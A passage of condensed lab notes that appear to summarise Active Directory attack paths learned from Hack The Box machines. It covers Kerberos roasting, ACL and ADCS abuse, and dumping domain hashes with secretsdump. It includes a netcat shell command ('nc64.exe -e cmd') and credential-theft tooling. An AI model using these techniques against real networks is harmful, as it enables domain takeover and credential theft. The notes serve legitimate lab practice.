bloodhound-python -c all --zip/bloodhound-ce-python;-nsand-dc <fqdn>or collection silently fails (Blackfield). - Read LDAP descriptions — they hold plaintext passwords (Cicada, Monteverde).
- Abuse Info beats tool output: domain-node GetChanges/GetChangesAll is DCSync (Sauna); an edge you don’t recognise is usually the intended path (Forest → WriteDacl on domain).
- Re-run enumeration after every new user or ACL change: ESC4 only appears as
ca_svc(EscapeTwo), and a new group unlocks a share (Puppy).
Kerberos
- AS-REP roast needs no credentials and tolerates skew: Forest, Sauna, Blackfield (mode 18200).
- Kerberoast classic: Active (SPN on Administrator); targeted Kerberoast via GenericWrite: Administrator (mode 13100).
- Fix the clock before any ticket-based step:
sudo ntpdate <dc fqdn>, expect VPN drop (Flight, TheFrizz, Administrator, Puppy). - Silver ticket with injected group RIDs for MSSQL authorization (Signed, Escape beyond root); machine TGT from a virtual apppool account (Flight).
- Kerberos error decoder:
KRB_AP_ERR_SKEW= time;KDC_ERR_ETYPE_NOTSUPP= stop forcing RC4, supply AES;KDC_ERR_BADOPTIONduring S4U = wrong delegation model or a sensitive/non-delegable principal.
ACLs and ADCS
- ACL ladder: ForceChangePassword (Blackfield level 23, Administrator) → GenericAll password reset (Administrator, Puppy) → GenericWrite targeted Kerberoast (Administrator) → WriteOwner (Certified, EscapeTwo) → WriteDacl on the domain (Forest) → DCSync rights (Sauna, Administrator).
- WriteOwner is two steps — own, then grant yourself rights;
certipy shadow autoalone givesINSUFF_ACCESS_RIGHTS(Certified, EscapeTwo). - ADCS: ESC1 (Escape, EscapeTwo after tampering), ESC4 from Cert Publishers (EscapeTwo), ESC9 UPN swap (Certified). Restore templates, revert UPNs, and remember
certipy authneeds-domainwhen the cert has no SID. - Cert-based WinRM works without any ADCS misconfiguration:
evil-winrm -S -c cert.crt -k key.pem(Timelapse). - Note the ADCS ceiling on the first ten boxes here — no CA, so
certipy findthere is time wasted.
Privilege → DA → DCSync
- Server Operators:
sc.exe configbinary path, with the 1053-timeout survival trick (cmd.exe /c nc64.exe -e cmd) (Return). - Backup Operators / SeBackupPrivilege, three exit ramps: read files directly,
reg savelocal hives (Cicada — on a DC the SAM Administrator is DA), or DiskShadow the DC database (Blackfield). - GPO abuse with only Group Policy Creator Owners:
New-GPO+New-GPLink+SharpGPOAbuse --addcomputertask+gpupdate /force(TheFrizz). - Terminal step everywhere:
secretsdump.pyfrom Linux — needs 445, 135 and a high RPC port;-k -no-passwith a ccache when NTLM is disabled (Flight, Forest, Administrator, Cicada). - Skip the shell when you already have DA:
smbclient //IP/C$reads the flag (Active); an EFS-encryptedroot.txtdefeats SeBackup — use the hash you just dumped (Blackfield).
Timing and revert traps
- HTB boxes revert: Forest’s
restoretask resets the password, groups and DCSync ACEs every 60 s; TheFrizz has a cleanup script on a couple-minute timer plus a 90-minute GPO refresh. - Do the grant and the dump in one chain, and re-check membership/ACEs immediately before the final step.
- Other expiring state: the crafted DNS record in Signed (~15 min GC) and Bucket’s
alertstable (~1 min wipe). - If a change keeps vanishing, look for a scheduled task or loop before blaming your tooling.
Tooling that paid off
-
netexecacross smb/ldap/mssql/winrm/ftp (--local-auth,-k,-M coerce_plus,--continue-on-success,--generate-hosts-file), BloodHound CE, Impacket (GetUserSPNs,GetNPUsers,secretsdump,mssqlclient,owneredit,dacledit,ticketer,dpapi,ntlmrelayx), Certipy (find/req/auth/shadow/template),bloodyAD,net rpc(group addmem,password),evil-winrm, Responder,dnstool.py.